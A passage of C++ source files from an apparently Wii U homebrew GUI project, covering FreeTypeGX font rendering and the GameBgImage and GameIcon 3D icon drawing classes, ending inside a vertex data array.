(!text) return 0; uint16_t fullTextWidth = (textWidth > 0) ? textWidth : getWidth(text, pixelSize); uint16_t x_pos = x, printed = 0; uint16_t x_offset = 0, y_offset = 0; FT_Vector pairDelta; if (textStyle & FTGX_JUSTIFY_MASK) { x_offset = getStyleOffsetWidth(fullTextWidth, textStyle); } if (textStyle & FTGX_ALIGN_MASK) { y_offset = getStyleOffsetHeight(textStyle, pixelSize); } int32_t i = 0; while (text[i]) { ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize); if (glyphData != NULL) { if (ftKerningEnabled && i > 0) { FT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[text[i - 1]].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta); x_pos += (pairDelta.x >> 6); } copyTextureToFramebuffer(video, glyphData->texture,x_pos + glyphData->renderOffsetX + x_offset, y + glyphData->renderOffsetY - y_offset, z, color, textBlur, colorBlurIntensity, blurColor,internalRenderingScale); x_pos += glyphData->glyphAdvanceX; ++printed; } ++i; } return printed; } /** * Processes the supplied string and return the width of the string in pixels. * * This routine processes each character of the supplied text string and calculates the width of the entire string. * Note that if precaching of the entire font set is not enabled any uncached glyph will be cached after the call to this function. * * @param text NULL terminated string to calculate. * @return The width of the text string in pixels. */ uint16_t FreeTypeGX::getWidth(const wchar_t *text, int16_t pixelSize) { if (!text) return 0; uint16_t strWidth = 0; FT_Vector pairDelta; int32_t i = 0; while (text[i]) { ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize); if (glyphData != NULL) { if (ftKerningEnabled && (i > 0)) { FT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[text[i - 1]].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta); strWidth += pairDelta.x >> 6; } strWidth += glyphData->glyphAdvanceX; } ++i; } return strWidth; } /** * Single char width */ uint16_t FreeTypeGX::getCharWidth(const wchar_t wChar, int16_t pixelSize, const wchar_t prevChar) { uint16_t strWidth = 0; ftgxCharData * glyphData = cacheGlyphData(wChar, pixelSize); if (glyphData != NULL) { if (ftKerningEnabled && prevChar != 0x0000) { FT_Vector pairDelta; FT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[prevChar].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta); strWidth += pairDelta.x >> 6; } strWidth += glyphData->glyphAdvanceX; } return strWidth; } /** * Processes the supplied string and return the height of the string in pixels. * * This routine processes each character of the supplied text string and calculates the height of the entire string. * Note that if precaching of the entire font set is not enabled any uncached glyph will be cached after the call to this function. * * @param text NULL terminated string to calculate. * @return The height of the text string in pixels. */ uint16_t FreeTypeGX::getHeight(const wchar_t *text, int16_t pixelSize) { getOffset(text, pixelSize); return fontData[pixelSize].ftgxAlign.max - fontData[pixelSize].ftgxAlign.min; } /** * Get the maximum offset above and minimum offset below the font origin line. * * This function calculates the maximum pixel height above the font origin line and the minimum * pixel height below the font origin line and returns the values in an addressible structure. * * @param text NULL terminated string to calculate. * @param offset returns the max and min values above and below the font origin line * */ void FreeTypeGX::getOffset(const wchar_t *text, int16_t pixelSize, uint16_t widthLimit) { if (fontData.find(pixelSize) != fontData.end()) return; int16_t strMax = 0, strMin = 9999; uint16_t currWidth = 0; int32_t i = 0; while (text[i]) { if (widthLimit > 0 && currWidth >= widthLimit) break; ftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize); if (glyphData != NULL) { strMax = glyphData->renderOffsetMax > strMax ? glyphData->renderOffsetMax : strMax; strMin = glyphData->renderOffsetMin < strMin ? glyphData->renderOffsetMin : strMin; currWidth += glyphData->glyphAdvanceX; } ++i; } if (ftPointSize != pixelSize) { ftPointSize = pixelSize; FT_Set_Pixel_Sizes(ftFace, 0, ftPointSize); } fontData[pixelSize].ftgxAlign.ascender = ftFace->size->metrics.ascender >> 6; fontData[pixelSize].ftgxAlign.descender = ftFace->size->metrics.descender >> 6; fontData[pixelSize].ftgxAlign.max = strMax; fontData[pixelSize].ftgxAlign.min = strMin; } /** * Copies the supplied texture quad to the EFB. * * This routine uses the in-built GX quad builder functions to define the texture bounds and location on the EFB target. * * @param texObj A pointer to the glyph's initialized texture object. * @param texWidth The pixel width of the texture object. * @param texHeight The pixel height of the texture object. * @param screenX The screen X coordinate at which to output the rendered texture. * @param screenY The screen Y coordinate at which to output the rendered texture. * @param color Color to apply to the texture. */ void FreeTypeGX::copyTextureToFramebuffer(CVideo *pVideo, GX2Texture *texture, int16_t x, int16_t y, int16_t z, const glm::vec4 & color, const float & defaultBlur, const float & blurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale) { static const f32 imageAngle = 0.0f; static const f32 blurScale = (2.0f/ (internalRenderingScale)); f32 offsetLeft = blurScale * ((f32)x + 0.5f * (f32)texture->surface.width) * (f32)pVideo->getWidthScaleFactor(); f32 offsetTop = blurScale * ((f32)y - 0.5f * (f32)texture->surface.height) * (f32)pVideo->getHeightScaleFactor(); f32 widthScale = blurScale * (f32)texture->surface.width * pVideo->getWidthScaleFactor(); f32 heightScale = blurScale * (f32)texture->surface.height * pVideo->getHeightScaleFactor(); glm::vec3 positionOffsets( offsetLeft, offsetTop, (f32)z ); //! blur doubles due to blur we have to scale the texture glm::vec3 scaleFactor( widthScale, heightScale, 1.0f ); glm::vec3 blurDirection; blurDirection[2] = 1.0f; Texture2DShader::instance()->setShaders(); Texture2DShader::instance()->setAttributeBuffer(); Texture2DShader::instance()->setAngle(imageAngle); Texture2DShader::instance()->setOffset(positionOffsets); Texture2DShader::instance()->setScale(scaleFactor); Texture2DShader::instance()->setTextureAndSampler(texture, &ftSampler); if(blurIntensity > 0.0f) { //! glow blur color Texture2DShader::instance()->setColorIntensity(blurColor); //! glow blur horizontal blurDirection[0] = blurIntensity; blurDirection[1] = 0.0f; Texture2DShader::instance()->setBlurring(blurDirection); Texture2DShader::instance()->draw(); //! glow blur vertical blurDirection[0] = 0.0f; blurDirection[1] = blurIntensity; Texture2DShader::instance()->setBlurring(blurDirection); Texture2DShader::instance()->draw(); } //! set text color Texture2DShader::instance()->setColorIntensity(color); //! blur horizontal blurDirection[0] = defaultBlur; blurDirection[1] = 0.0f; Texture2DShader::instance()->setBlurring(blurDirection); Texture2DShader::instance()->draw(); //! blur vertical blurDirection[0] = 0.0f; blurDirection[1] = defaultBlur; Texture2DShader::instance()->setBlurring(blurDirection); Texture2DShader::instance()->draw(); } ================================================ FILE: src/gui/FreeTypeGX.h ================================================ /* * FreeTypeGX is a wrapper class for libFreeType which renders a compiled * FreeType parsable font into a GX texture for Wii homebrew development. * Copyright (C) 2008 Armin Tamzarian * Modified by Dimok, 2015 for WiiU GX2 * * This file is part of FreeTypeGX. * * FreeTypeGX is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * FreeTypeGX is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with FreeTypeGX. If not, see . */ #ifndef FREETYPEGX_H_ #define FREETYPEGX_H_ #include #include #include #include FT_FREETYPE_H #include FT_BITMAP_H #include #include #include #include #include #include #include "dynamic_libs/gx2_functions.h" /*! \struct ftgxCharData_ * * Font face character glyph relevant data structure. */ typedef struct ftgxCharData_ { int16_t renderOffsetX; /**< Texture X axis bearing offset. */ uint16_t glyphAdvanceX; /**< Character glyph X coordinate advance in pixels. */ uint16_t glyphAdvanceY; /**< Character glyph Y coordinate advance in pixels. */ uint32_t glyphIndex; /**< Charachter glyph index in the font face. */ int16_t renderOffsetY; /**< Texture Y axis bearing offset. */ int16_t renderOffsetMax; /**< Texture Y axis bearing maximum value. */ int16_t renderOffsetMin; /**< Texture Y axis bearing minimum value. */ GX2Texture * texture; } ftgxCharData; /*! \struct ftgxDataOffset_ * * Offset structure which hold both a maximum and minimum value. */ typedef struct ftgxDataOffset_ { int16_t ascender; /**< Maximum data offset. */ int16_t descender; /**< Minimum data offset. */ int16_t max; /**< Maximum data offset. */ int16_t min; /**< Minimum data offset. */ } ftgxDataOffset; typedef struct ftgxCharData_ ftgxCharData; typedef struct ftgxDataOffset_ ftgxDataOffset; #define _TEXT(t) L ## t /**< Unicode helper macro. */ #define FTGX_NULL 0x0000 #define FTGX_JUSTIFY_LEFT 0x0001 #define FTGX_JUSTIFY_CENTER 0x0002 #define FTGX_JUSTIFY_RIGHT 0x0004 #define FTGX_JUSTIFY_MASK 0x000f #define FTGX_ALIGN_TOP 0x0010 #define FTGX_ALIGN_MIDDLE 0x0020 #define FTGX_ALIGN_BOTTOM 0x0040 #define FTGX_ALIGN_BASELINE 0x0080 #define FTGX_ALIGN_GLYPH_TOP 0x0100 #define FTGX_ALIGN_GLYPH_MIDDLE 0x0200 #define FTGX_ALIGN_GLYPH_BOTTOM 0x0400 #define FTGX_ALIGN_MASK 0x0ff0 #define FTGX_STYLE_UNDERLINE 0x1000 #define FTGX_STYLE_STRIKE 0x2000 #define FTGX_STYLE_MASK 0xf000 /**< Constant color value used only to sanitize Doxygen documentation. */ static const GX2ColorF32 ftgxWhite = (GX2ColorF32){ 1.0f, 1.0f, 1.0f, 1.0f }; //! forward declaration class CVideo; /*! \class FreeTypeGX * \brief Wrapper class for the libFreeType library with GX rendering. * \author Armin Tamzarian * \version 0.2.4 * * FreeTypeGX acts as a wrapper class for the libFreeType library. It supports precaching of transformed glyph data into * a specified texture format. Rendering of the data to the EFB is accomplished through the application of high performance * GX texture functions resulting in high throughput of string rendering. */ class FreeTypeGX { private: FT_Library ftLibrary; /**< FreeType FT_Library instance. */ FT_Face ftFace; /**< FreeType reusable FT_Face typographic object. */ int16_t ftPointSize; /**< Current set size of the rendered font. */ bool ftKerningEnabled; /**< Flag indicating the availability of font kerning data. */ uint8_t vertexIndex; /**< Vertex format descriptor index. */ GX2Sampler ftSampler; typedef struct _ftGX2Data { ftgxDataOffset ftgxAlign; std::map ftgxCharMap; } ftGX2Data; std::map fontData; /**< Map which holds the glyph data structures for the corresponding characters in one size. */ int16_t getStyleOffsetWidth(uint16_t width, uint16_t format); int16_t getStyleOffsetHeight(int16_t format, uint16_t pixelSize); void unloadFont(); ftgxCharData *cacheGlyphData(wchar_t charCode, int16_t pixelSize); uint16_t cacheGlyphDataComplete(int16_t pixelSize); void loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData); void copyTextureToFramebuffer(CVideo * pVideo, GX2Texture *tex, int16_t screenX, int16_t screenY, int16_t screenZ, const glm::vec4 & color, const float &textBlur, const float &colorBlurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale); public: FreeTypeGX(const uint8_t* fontBuffer, FT_Long bufferSize, bool lastFace = false); ~FreeTypeGX(); uint16_t drawText(CVideo * pVideo, int16_t x, int16_t y, int16_t z, const wchar_t *text, int16_t pixelSize, const glm::vec4 & color, uint16_t textStyling, uint16_t textWidth, const float &textBlur, const float &colorBlurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale); uint16_t getWidth(const wchar_t *text, int16_t pixelSize); uint16_t getCharWidth(const wchar_t wChar, int16_t pixelSize, const wchar_t prevChar = 0x0000); uint16_t getHeight(const wchar_t *text, int16_t pixelSize); void getOffset(const wchar_t *text, int16_t pixelSize, uint16_t widthLimit = 0); static wchar_t* charToWideChar(const char* p); static char* wideCharToUTF8(const wchar_t* strChar); }; #endif /* FREETYPEGX_H_ */ ================================================ FILE: src/gui/GameBgImage.cpp ================================================ #include "GameBgImage.h" #include "video/CVideo.h" #include "video/shaders/Shader3D.h" GameBgImage::GameBgImage(const std::string & filename, GuiImageData *preloadImage) : GuiImageAsync(filename, preloadImage) { identity = glm::mat4(1.0f); alphaFadeOut = glm::vec4(1.0f, 0.075f, 5.305f, 2.0f); } GameBgImage::~GameBgImage() { } void GameBgImage::draw(CVideo *pVideo) { if(!getImageData() || !getImageData()->getTexture()) return; //! first setup 2D GUI positions f32 currPosX = getCenterX(); f32 currPosY = getCenterY(); f32 currPosZ = getDepth(); f32 currScaleX = getScaleX() * (f32)getWidth() * pVideo->getWidthScaleFactor(); f32 currScaleY = getScaleY() * (f32)getHeight() * pVideo->getHeightScaleFactor(); f32 currScaleZ = getScaleZ() * (f32)getWidth() * pVideo->getDepthScaleFactor(); glm::mat4 m_modelView = glm::translate(identity, glm::vec3(currPosX,currPosY, currPosZ)); m_modelView = glm::scale(m_modelView, glm::vec3(currScaleX, currScaleY, currScaleZ)); Shader3D::instance()->setShaders(); Shader3D::instance()->setProjectionMtx(identity); Shader3D::instance()->setViewMtx(identity); Shader3D::instance()->setModelViewMtx(m_modelView); Shader3D::instance()->setTextureAndSampler(getImageData()->getTexture(), getImageData()->getSampler()); Shader3D::instance()->setAlphaFadeOut(alphaFadeOut); Shader3D::instance()->setDistanceFadeOut(0.0f); Shader3D::instance()->setColorIntensity(glm::vec4(1.0f, 1.0f, 1.0f, getAlpha())); Shader3D::instance()->setAttributeBuffer(); Shader3D::instance()->draw(); } ================================================ FILE: src/gui/GameBgImage.h ================================================ #ifndef _GAME_BG_IMAGE_H_ #define _GAME_BG_IMAGE_H_ #include "GuiImageAsync.h" #include "video/shaders/Shader3D.h" class GameBgImage : public GuiImageAsync { public: GameBgImage(const std::string & filename, GuiImageData *preloadImage); virtual ~GameBgImage(); void setAlphaFadeOut(const glm::vec4 & a) { alphaFadeOut = a; } void draw(CVideo *pVideo); private: glm::mat4 identity; glm::vec4 alphaFadeOut; }; #endif // _GAME_BG_IMAGE_H_ ================================================ FILE: src/gui/GameIcon.cpp ================================================ #include "GameIcon.h" #include "GameIconModel.h" #include "Application.h" #include "video/CVideo.h" #include "video/shaders/Shader3D.h" #include "video/shaders/ShaderFractalColor.h" static const f32 cfIconMirrorScale = 1.15f; static const f32 cfIconMirrorAlpha = 0.45f; GameIcon::GameIcon(const std::string & filename, GuiImageData *preloadImage) : GuiImageAsync(filename, preloadImage) { bSelected = false; bRenderStroke = true; bRenderReflection = false; bIconLast = false; strokeFractalEnable = 1; strokeBlurBorder = 0.0f; distanceFadeout = 0.0f; rotationX = 0.0f; reflectionAlpha = 0.4f; strokeWidth = 2.35f; colorIntensity = glm::vec4(1.0f); colorIntensityMirror = colorIntensity; alphaFadeOutNorm = glm::vec4(0.0f); alphaFadeOutRefl = glm::vec4(-1.0f, 0.0f, 0.9f, 1.0f); selectionBlurOuterColorIntensity = glm::vec4(0.09411764f * 1.15f, 0.56862745f * 1.15f, 0.96862745098f * 1.15f, 1.0f); selectionBlurOuterSize = 1.65f; selectionBlurOuterBorderSize = 0.5f; selectionBlurInnerColorIntensity = glm::vec4(0.46666667f, 0.90588235f, 1.0f, 1.0f); selectionBlurInnerSize = 1.45f; selectionBlurInnerBorderSize = 0.95f; vtxCount = sizeof(cfGameIconPosVtxs) / (Shader3D::cuVertexAttrSize); //! texture and vertex coordinates posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, sizeof(cfGameIconPosVtxs)); texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, sizeof(cfGameIconTexCoords)); if(posVtxs) { memcpy((f32*)posVtxs, cfGameIconPosVtxs, sizeof(cfGameIconPosVtxs)); GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, (f32*)posVtxs, sizeof(cfGameIconPosVtxs)); } if(texCoords) { memcpy((f32*)texCoords, cfGameIconTexCoords, sizeof(cfGameIconTexCoords)); GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, (f32*)texCoords, sizeof(cfGameIconTexCoords)); } //! create vertexes for the mirror frame texCoordsMirror = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, sizeof(cfGameIconTexCoords)); if(texCoordsMirror) { for(u32 i = 0; i < vtxCount; i++) { texCoordsMirror[i*2 + 0] = texCoords[i*2 + 0] * cfIconMirrorScale - ((cfIconMirrorScale - 1.0f) - (cfIconMirrorScale - 1.0f) * 0.5f); texCoordsMirror[i*2 + 1] = texCoords[i*2 + 1] * cfIconMirrorScale - ((cfIconMirrorScale - 1.0f) - (cfIconMirrorScale - 1.0f) * 0.5f); } GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoordsMirror, sizeof(cfGameIconTexCoords)); } //! setup stroke of the icon strokePosVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, sizeof(cfGameIconStrokeVtxs)); if(strokePosVtxs) { memcpy(strokePosVtxs, cfGameIconStrokeVtxs, sizeof(cfGameIconStrokeVtxs)); GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, strokePosVtxs, sizeof(cfGameIconStrokeVtxs)); } strokeTexCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, cuGameIconStrokeVtxCount * Shader::cuTexCoordAttrSize); if(strokeTexCoords) { for(size_t i = 0, n = 0; i < cuGameIconStrokeVtxCount; n += 2, i += 3) { strokeTexCoords[n] = (1.0f + strokePosVtxs[i]) * 0.5f; strokeTexCoords[n+1] = 1.0f - (1.0f + strokePosVtxs[i+1]) * 0.5f; } GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, strokeTexCoords, cuGameIconStrokeVtxCount * Shader::cuTexCoordAttrSize); } strokeColorVtxs = (u8*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, cuGameIconStrokeVtxCount * Shader::cuColorAttrSize); if(strokeColorVtxs) { for(size_t i = 0; i < (cuGameIconStrokeVtxCount * Shader::cuColorAttrSize); i++) strokeColorVtxs[i] = 0xff; GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, strokeColorVtxs, cuGameIconStrokeVtxCount * Shader::cuColorAttrSize); } } GameIcon::~GameIcon() { //! remove image so it can not be drawn anymore from this point on imageData = NULL; //! main image vertexes if(posVtxs) { free((void*)posVtxs); posVtxs = NULL; } if(texCoords) { free((void*)texCoords); texCoords = NULL; } //! mirror image vertexes if(texCoordsMirror) { free(texCoordsMirror); texCoordsMirror = NULL; } //! stroke image vertexes if(strokePosVtxs) { free(strokePosVtxs); strokePosVtxs = NULL; } if(strokeTexCoords) { free(strokeTexCoords); strokeTexCoords = NULL; } if(strokeColorVtxs) { free(strokeColorVtxs); strokeColorVtxs = NULL; } } bool GameIcon::checkRayIntersection(const glm::vec3 & rayOrigin, const glm::vec3 & rayDirFrac) { //! since we always face the camera we can just check the AABB intersection //! otherwise an OOB intersection would be required f32 currPosX = getCenterX() * Application::instance()->getVideo()->getWidthScaleFactor() * 2.0f; f32 currPosY = getCenterY() * Application::instance()->getVideo()->getHeightScaleFactor() * 2.0f; f32 currPosZ = getDepth() * Application::instance()->getVideo()->getDepthScaleFactor() * 2.0f; f32 currScaleX = getScaleX() * (f32)getWidth() * Application::instance()->getVideo()->getWidthScaleFactor(); f32 currScaleY = getScaleY() * (f32)getHeight() * Application::instance()->getVideo()->getHeightScaleFactor(); f32 currScaleZ = getScaleZ() * (f32)getWidth() * Application::instance()->getVideo()->getDepthScaleFactor(); //! lb is the corner of AABB with minimal coordinates - left bottom, rt is maximal corner glm::vec3 lb(currPosX - currScaleX, currPosY - currScaleY, currPosZ - currScaleZ); glm::vec3 rt(currPosX + currScaleX, currPosY + currScaleY, currPosZ + currScaleZ); float t1 = (lb.x - rayOrigin.x) * rayDirFrac.x; float t2 = (rt.x - rayOrigin.x) * rayDirFrac.x; float t3 = (lb.y - rayOrigin.y) * rayDirFrac.y; float t4 = (rt.y - rayOrigin.y) * rayDirFrac.y; float t5 = (lb.z - rayOrigin.z) * rayDirFrac.z; float t6 = (rt.z - rayOrigin.z) * rayDirFrac.z; float tmin = std::max(std::max(std::min(t1, t2), std::min(t3, t4)), std::min(t5, t6)); float tmax = std::min(std::min(std::max(t1, t2), std::max(t3, t4)), std::max(t5, t6)); //! if tmax < 0, ray (line) is intersecting AABB, but whole AABB is behing us if (tmax < 0) { //t = tmax; return false; } //! if tmin > tmax, ray doesn't intersect AABB if (tmin > tmax) { //t = tmax; return false; } //t = tmin; return true; } void GameIcon::draw(CVideo *pVideo, const glm::mat4 & projectionMtx, const glm::mat4 & viewMtx, const glm::mat4 & modelView) { //! first setup 2D GUI positions f32 currPosX = getCenterX() * pVideo->getWidthScaleFactor() * 2.0f; f32 currPosY = getCenterY() * pVideo->getHeightScaleFactor() * 2.0f; f32 currPosZ = getDepth() * pVideo->getDepthScaleFactor() * 2.0f; f32 currScaleX = getScaleX() * (f32)getWidth() * pVideo->getWidthScaleFactor(); f32 currScaleY = getScaleY() * (f32)getHeight() * pVideo->getHeightScaleFactor(); f32 currScaleZ = getScaleZ() * (f32)getWidth() * pVideo->getDepthScaleFactor(); f32 strokeScaleX = pVideo->getWidthScaleFactor() * strokeWidth * 0.25f + cfIconMirrorScale; f32 strokeScaleY = pVideo->getHeightScaleFactor() * strokeWidth * 0.25f + cfIconMirrorScale; for(s32 iDraw = 0; iDraw < 2; iDraw++) { glm::vec4 * alphaFadeOut; glm::mat4 m_iconView; glm::mat4 m_mirrorView; glm::mat4 m_strokeView; if(iDraw == RENDER_REFLECTION) { //! Reflection render if(!bRenderReflection) continue; m_iconView = glm::translate(modelView, glm::vec3(currPosX, -currScaleY * 2.0f - currPosY, currPosZ + cosf(DegToRad(rotationX)) * currScaleZ * 2.0f)); m_iconView = glm::rotate(m_iconView, DegToRad(rotationX), glm::vec3(1.0f, 0.0f, 0.0f)); m_iconView = glm::scale(m_iconView, glm::vec3(currScaleX, -currScaleY, currScaleZ)); colorIntensity[3] = reflectionAlpha * getAlpha(); selectionBlurOuterColorIntensity[3] = colorIntensity[3] * 0.7f; selectionBlurInnerColorIntensity[3] = colorIntensity[3] * 0.7f; alphaFadeOut = &alphaFadeOutRefl; GX2SetCullOnlyControl(GX2_FRONT_FACE_CCW, GX2_ENABLE, GX2_DISABLE); } else { //! Normal render m_iconView = glm::translate(modelView, glm::vec3(currPosX,currPosY, currPosZ)); m_iconView = glm::rotate(m_iconView, DegToRad(rotationX), glm::vec3(1.0f, 0.0f, 0.0f)); m_iconView = glm::scale(m_iconView, glm::vec3(currScaleX, currScaleY, currScaleZ)); colorIntensity[3] = getAlpha(); selectionBlurOuterColorIntensity[3] = colorIntensity[3]; selectionBlurInnerColorIntensity[3] = colorIntensity[3]; alphaFadeOut = &alphaFadeOutNorm; } m_mirrorView = glm::scale(m_iconView, glm::vec3(cfIconMirrorScale, cfIconMirrorScale, cfIconMirrorScale)); colorIntensityMirror[3] = cfIconMirrorAlpha * colorIntensity[3]; if(!bIconLast) { Shader3D::instance()->setShaders(); Shader3D::instance()->setProjectionMtx(projectionMtx); Shader3D::instance()->setViewMtx(viewMtx); Shader3D::instance()->setTextureAndSampler(imageData->getTexture(), imageData->getSampler()); Shader3D::instance()->setAlphaFadeOut(*alphaFadeOut); Shader3D::instance()->setDistanceFadeOut(distanceFadeout); //! render the real symbol Shader3D::instance()->setModelViewMtx(m_iconView); Shader3D::instance()->setColorIntensity(colorIntensity); Shader3D::instance()->setAttributeBuffer(vtxCount, posVtxs, texCoords); Shader3D::instance()->draw(GX2_PRIMITIVE_QUADS, vtxCount); } if(bSelected) { strokeFractalEnable = 0; GX2SetDepthOnlyControl(GX2_ENABLE, GX2_DISABLE, GX2_COMPARE_LEQUAL); m_strokeView = glm::scale(m_iconView, glm::vec3(selectionBlurOuterSize, selectionBlurOuterSize, 0.0f)); ShaderFractalColor::instance()->setShaders(); ShaderFractalColor::instance()->setProjectionMtx(projectionMtx); ShaderFractalColor::instance()->setViewMtx(viewMtx); ShaderFractalColor::instance()->setModelViewMtx(m_strokeView); ShaderFractalColor::instance()->setFractalColor(strokeFractalEnable); ShaderFractalColor::instance()->setBlurBorder(selectionBlurOuterBorderSize); ShaderFractalColor::instance()->setColorIntensity(selectionBlurOuterColorIntensity); ShaderFractalColor::instance()->setAlphaFadeOut(*alphaFadeOut); ShaderFractalColor::instance()->setAttributeBuffer(); ShaderFractalColor::instance()->draw(); m_strokeView = glm::scale(m_iconView, glm::vec3(selectionBlurInnerSize, selectionBlurInnerSize, 0.0f)); ShaderFractalColor::instance()->setBlurBorder(selectionBlurInnerBorderSize); ShaderFractalColor::instance()->setColorIntensity(selectionBlurInnerColorIntensity); ShaderFractalColor::instance()->draw(); GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); } if(iDraw == RENDER_NORMAL && bRenderStroke) { strokeFractalEnable = 1; //! now render the icon stroke //! make the stroke a little bigger than the mirror, just by the line width on each side m_strokeView = glm::scale(m_iconView, glm::vec3(strokeScaleX, strokeScaleY, cfIconMirrorScale)); ShaderFractalColor::instance()->setShaders(); ShaderFractalColor::instance()->setLineWidth(strokeWidth); ShaderFractalColor::instance()->setProjectionMtx(projectionMtx); ShaderFractalColor::instance()->setViewMtx(viewMtx); ShaderFractalColor::instance()->setModelViewMtx(m_strokeView); ShaderFractalColor::instance()->setFractalColor(strokeFractalEnable); ShaderFractalColor::instance()->setBlurBorder(strokeBlurBorder); ShaderFractalColor::instance()->setColorIntensity(colorIntensity); ShaderFractalColor::instance()->setAlphaFadeOut(*alphaFadeOut); ShaderFractalColor::instance()->setAttributeBuffer(cuGameIconStrokeVtxCount, strokePosVtxs, strokeTexCoords, strokeColorVtxs); ShaderFractalColor::instance()->draw(GX2_PRIMITIVE_LINE_STRIP, cuGameIconStrokeVtxCount); } //! render the background mirror frame Shader3D::instance()->setShaders(); Shader3D::instance()->setProjectionMtx(projectionMtx); Shader3D::instance()->setViewMtx(viewMtx); Shader3D::instance()->setTextureAndSampler(imageData->getTexture(), imageData->getSampler()); Shader3D::instance()->setAlphaFadeOut(*alphaFadeOut); Shader3D::instance()->setDistanceFadeOut(distanceFadeout); Shader3D::instance()->setModelViewMtx(m_mirrorView); Shader3D::instance()->setColorIntensity(colorIntensityMirror); Shader3D::instance()->setAttributeBuffer(vtxCount, posVtxs, texCoordsMirror); Shader3D::instance()->draw(GX2_PRIMITIVE_QUADS, vtxCount); if(bIconLast) { Shader3D::instance()->setShaders(); Shader3D::instance()->setProjectionMtx(projectionMtx); Shader3D::instance()->setViewMtx(viewMtx); Shader3D::instance()->setTextureAndSampler(imageData->getTexture(), imageData->getSampler()); Shader3D::instance()->setAlphaFadeOut(*alphaFadeOut); Shader3D::instance()->setDistanceFadeOut(distanceFadeout); //! render the real symbol Shader3D::instance()->setModelViewMtx(m_iconView); Shader3D::instance()->setColorIntensity(colorIntensity); Shader3D::instance()->setAttributeBuffer(vtxCount, posVtxs, texCoords); Shader3D::instance()->draw(GX2_PRIMITIVE_QUADS, vtxCount); } //! return back normal culling if(iDraw == RENDER_REFLECTION) { GX2SetCullOnlyControl(GX2_FRONT_FACE_CCW, GX2_DISABLE, GX2_ENABLE); } } } ================================================ FILE: src/gui/GameIcon.h ================================================ #ifndef _GAME_ICON_H_ #define _GAME_ICON_H_ #include "GuiImageAsync.h" #include "video/shaders/Shader3D.h" class GameIcon : public GuiImageAsync { public: GameIcon(const std::string & filename, GuiImageData *preloadImage); virtual ~GameIcon(); void setRotationX(f32 r) { rotationX = r; } void setColorIntensity(const glm::vec4 & color) { colorIntensity = color; colorIntensityMirror = colorIntensity; selectionBlurOuterColorIntensity = color * glm::vec4(0.09411764f * 1.15f, 0.56862745f * 1.15f, 0.96862745098f * 1.15f, 1.0f); selectionBlurInnerColorIntensity = color * glm::vec4(0.46666667f, 0.90588235f, 1.0f, 1.0f); } const glm::vec4 & getColorIntensity() const { return colorIntensity; } void setAlphaFadeOutNorm(const glm::vec4 & a) { alphaFadeOutNorm = a; } void setAlphaFadeOutRefl(const glm::vec4 & a) { alphaFadeOutRefl = a; } void setRenderReflection(bool enable) { bRenderReflection = enable; } void setSelected(bool enable) { bSelected = enable; } void setStrokeRender(bool enable) { bRenderStroke = enable; } void setRenderIconLast(bool enable) { bIconLast = enable; } void draw(CVideo *pVideo) { static const glm::mat4 identity(1.0f); draw(pVideo, identity, identity, identity); } void draw(CVideo *pVideo, const glm::mat4 & projection, const glm::mat4 & view, const glm::mat4 & modelView); bool checkRayIntersection(const glm::vec3 & rayOrigin, const glm::vec3 & rayDirFrac); private: enum eRenderState { RENDER_REFLECTION, RENDER_NORMAL }; bool bSelected; bool bRenderStroke; bool bRenderReflection; bool bIconLast; glm::vec4 colorIntensity; glm::vec4 colorIntensityMirror; glm::vec4 alphaFadeOutNorm; glm::vec4 alphaFadeOutRefl; f32 reflectionAlpha; f32 strokeWidth; f32 rotationX; f32 rgbReduction; f32 distanceFadeout; f32 *texCoordsMirror; f32 *strokePosVtxs; f32 *strokeTexCoords; u8 *strokeColorVtxs; s32 strokeFractalEnable; f32 strokeBlurBorder; glm::vec4 selectionBlurOuterColorIntensity; f32 selectionBlurOuterSize; f32 selectionBlurOuterBorderSize; glm::vec4 selectionBlurInnerColorIntensity; f32 selectionBlurInnerSize; f32 selectionBlurInnerBorderSize; }; #endif // _GAME_ICON_H_ ================================================ FILE: src/gui/GameIconModel.h ================================================ #ifndef ICON_MODEL_H_ #define ICON_MODEL_H_ static const float cfGameIconPosVtxs[] = { -0.844501f,-0.861263f,0.050154f,-0.802664f,-0.8797f,0.054004f,-0.809968f,-0.828995f,0.061777f,-0.864233f,-0.822169f,0.054004f, -0.802664f,-0.8797f,0.054004f,-0.726455f,-0.89991f,0.058224f,-0.730326f,-0.842312f,0.067487f,-0.809968f,-0.828995f,0.061777f, -0.809968f,-0.828995f,0.061777f,-0.730326f,-0.842312f,0.067487f,-0.738488f,-0.760488f,0.074426f,-0.824221f,-0.752861f,0.067487f, 